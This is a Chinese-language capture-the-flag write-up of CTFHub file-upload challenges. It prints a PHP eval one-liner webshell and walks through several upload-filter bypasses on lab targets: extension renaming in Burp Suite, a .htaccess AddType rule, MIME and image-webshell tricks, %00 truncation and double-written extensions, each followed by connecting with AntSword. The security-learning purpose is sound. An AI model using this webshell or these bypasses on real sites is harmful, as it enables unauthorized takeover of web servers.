靶机环境:
<?php @eval($_POST["pass"]);?>
在靶机环境中提交一句话木马文件
提交之后根据提示,访问路径。页面没有报错,说明上传成功
接下来使用中国蚁剑工具获取shell
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。中国蚁剑是 一 款比菜刀还牛的shell控制端软件。
中国蚁剑下载地址:https://github.com/AntSwordProject/AntSword-Loader
下载加载器和核心源码”antSword“。加载器则分为三个版本:Mac、Windows、Linux。
打开加载器,双击“AntSword.exe”;
第一次安装项目需要先初始化,如果你已经下载了核心源码,就选择项目源码的文件夹。(如果只下载了加载器,选择一个空文件夹,加载器会自动帮你下载核心项目源码)。
第一次安装项目需要先初始化,如果你已经下载了核心源码,就选择项目源码的文件夹。(如果只下载了加载器,选择一个空文件夹,加载器会自动帮你下载核心项目源码)。
打开后,右键添加数据
输入刚刚上传文件的网址,pass是连接密码,进行添加
添加之后可以在一个www的文件夹下找到flag信息
靶机环境:
当上传.php文件时,提示该文件不允许上传
查看源码,发现只可以上传jpg,png和gif类型文件
将一句话木马文件的后缀改成.php.jpg
上传文件,并用burp suite抓包,删除.jpg后缀。GO!
状态码200 OK,说明上传成功了。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess文件
(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。
它提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
一般.htaccess可以用来留后门和针对黑名单绕过。
创建一个txt写入AddType application/x-httpd-php .png
意思是把文件名包含png的文件解析成php
题目:
靶机环境
查看源码,发现"php", “php7”, “php5”, “php4”, “php3”, “phtml”, “pht”, “jsp”, “jspa”, “jspx”, “jsw”, “jsv”, “jspf”, “jtml”, “asp”, “aspx”, “asa”, “asax”, “ascx”, “ashx”, “asmx”, “cer”, "swf"都是上传文件后缀的黑名单
新建一个txt文件写入AddType application/x-httpd-php .png
并命名为.htaccess
然后上传
写个一句话木马文件,并以.png为后缀
上传
使用中国蚁剑连接shell
得到flag
它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型,例如:
超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg
MIME类型 (Content-Type) 和文件后缀这是两码事,不要弄混
在CTFHUB中打开本体环境好几次,都说环境实例未找到?! 可惜了我的金币。
检查源码,没什么特别的
上传一个php一句话木马,文件格式不对
MIME绕过方式也不行。绕过了后缀,但是绕不开检测,那就是检测了文件内容。
制作一个一句话木马图片(图片尽量选择小一点)
一句话图片马命令:
copy xx.png/b+xx.php/a xx.php
然后再上传图片木马文件
使用蚁剑连接获得shell,得到flag
PHP的00截断是5.2.x版本的一个漏洞,当用户输入的url参数包含%00
经过浏览器自动转码后截断后面字符。
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
比如https://mp.csdn.net/upfiles/?filename=test.txt 此时输出的是test.txt
加上%00
https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是test.php
就绕过了后缀限制,可以上传webshell啦。
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态
写一个一句话木马文件,并把后缀改为.php%00.jpg
上传,使用burp suite抓包
正确的做法还是数据包中必须有上传文件的path才行。结合上传路径+文件名,进行截断。
使用中国蚁剑获得shell
注意连接的网址,不要写错。(我就是在这吃了亏,用错了地址,连半天连不上)
获得shell后就可以在www文件下找到flag
用于只将文件后缀名,例如"php"字符串过滤的场合;
例如:
上传时将 Burpsuite 截获的数据包中文件名【123.php】改为【123.p php
hp】,那么过滤了第一个"php"字符串"后,开头的’p’和结尾的’hp’就组合又形成了【123.php】。
靶机环境:(又出现了环境未找到??气哭)
解题思路:
上传一个一句话木马文件,文件名为123.pphphp
上传一句话木马文件
使用中国蚁剑获得shell,取得flag